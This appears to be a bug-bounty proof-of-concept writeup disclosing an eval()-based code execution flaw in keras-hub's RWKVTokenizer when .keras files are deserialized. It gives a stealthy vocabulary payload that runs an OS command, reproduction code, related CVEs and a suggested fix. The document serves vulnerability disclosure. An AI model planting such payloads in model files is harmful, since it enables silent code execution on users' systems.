Huntr MFV PoC: RWKVTokenizer eval() RCE via .keras Deserialization
This is a proof-of-concept for a security vulnerability submission. Target bounty program: Huntr Model File Vulnerability
Vulnerability Summary
Title: Arbitrary Code Execution via eval() in keras_hub.tokenizers.RWKVTokenizer deserialized from .keras model file under safe_mode=True
Affected: keras-hub v0.27.1 (commit e8094ef, 2026-04-08)
File: keras_hub/src/models/rwkv7/rwkv7_tokenizer.py:117,275
Severity: High (CVSS 8.8)
Root Cause
RWKVTokenizer.set_vocabulary() calls eval() on each vocabulary entry:
# Line 275 โ keras_hub/src/models/rwkv7/rwkv7_tokenizer.py
repr_str = eval(line[line.index(" ") : line.rindex(" ")])
The vocabulary field is part of get_config() output and therefore embedded in .keras config.json files. When a malicious .keras file is loaded via keras.models.load_model() or keras.src.saving.serialization_lib.deserialize_keras_object(), the attacker-controlled vocabulary triggers eval() under default safe_mode=True.
Attack Vector
- Attacker crafts a
.kerasfile with malicious vocabulary entries - Victim loads the file:
keras.models.load_model("malicious.keras") RWKVTokenizeris deserialized viakeras_hub>RWKVTokenizerregistered nameeval()executes attacker-controlled Python expression- OS command runs silently โ model loads successfully with no exception
PoC File
rwkv7_poc_FINAL.keras in this repository is the proof-of-concept.
Vocabulary payload (inside config.json):
0 (__import__('os').system('id > /tmp/keras_rce_poc.txt'), b'\x00')[-1] 1
This payload:
- Calls
os.system('id > /tmp/keras_rce_poc.txt')โ runs theidcommand - Returns
b'\x00'(valid bytes) so all asserts pass - Model loads with no exception โ stealth attack
Reproduction Steps
pip install keras keras-hub sentencepiece tokenizers
python3 - <<'EOF'
import os
os.environ['TF_CPP_MIN_LOG_LEVEL'] = '3'
from keras.src.saving import serialization_lib
import keras_hub # registers keras_hub classes
import zipfile, json
# Download poc file from this repo and load it
with zipfile.ZipFile("rwkv7_poc_FINAL.keras") as z:
config = json.loads(z.read("config.json"))
obj = serialization_lib.deserialize_keras_object(config)
print("Loaded:", type(obj).__name__) # RWKVTokenizer
# Verify RCE occurred
if os.path.exists("/tmp/keras_rce_poc.txt"):
print("RCE CONFIRMED:", open("/tmp/keras_rce_poc.txt").read().strip())
EOF
Expected Output
Loaded: RWKVTokenizer
RCE CONFIRMED: uid=1002(pai) gid=1006(pai) groups=1006(pai),...
Impact
- Primary: Arbitrary code execution on any system that loads the malicious
.kerasfile - Vector: Malicious
.kerasfile distributed via HuggingFace Model Hub - Affected scope: Any user of
keras+keras-hubwho loads a model containingRWKVTokenizer - Stealth: No exception raised โ the model appears to load correctly
CVE References
- CVE-2025-9906 (JFrog): Identical pattern โ
keras.utils.get_filereachable via.kerasdeserialization. Fix: added toLOADING_APISblocklist. Same mechanism, different gadget. - CVE-2025-49655:
TorchModuleWrappertorch.load()via.kerasdeserialization. Fix: addedsafe_modecheck tofrom_config. - CVE-2025-1550:
keras_hub.layers.TFSMLayertf.saved_model.load()via.kerasdeserialization. Fix:safe_modecheck infrom_config.
This finding follows the same pattern as all three CVEs. RWKVTokenizer was added in commit e8094ef (2026-04-08) without the hardening applied to the above classes.
Suggested Fix
Replace eval() with ast.literal_eval() at rwkv7_tokenizer.py:117,275, and add a from_config override with safe_mode check to RWKVTokenizer:
@classmethod
def from_config(cls, config, **kwargs):
from keras.src.saving import serialization_lib
if serialization_lib.in_safe_mode() is not False:
raise ValueError(
"Requested deserialization of RWKVTokenizer, which calls eval() "
"on vocabulary entries. This is disallowed by default. Pass "
"safe_mode=False to the loading function if you trust the source."
)
return cls(**config)
- Downloads last month
- 33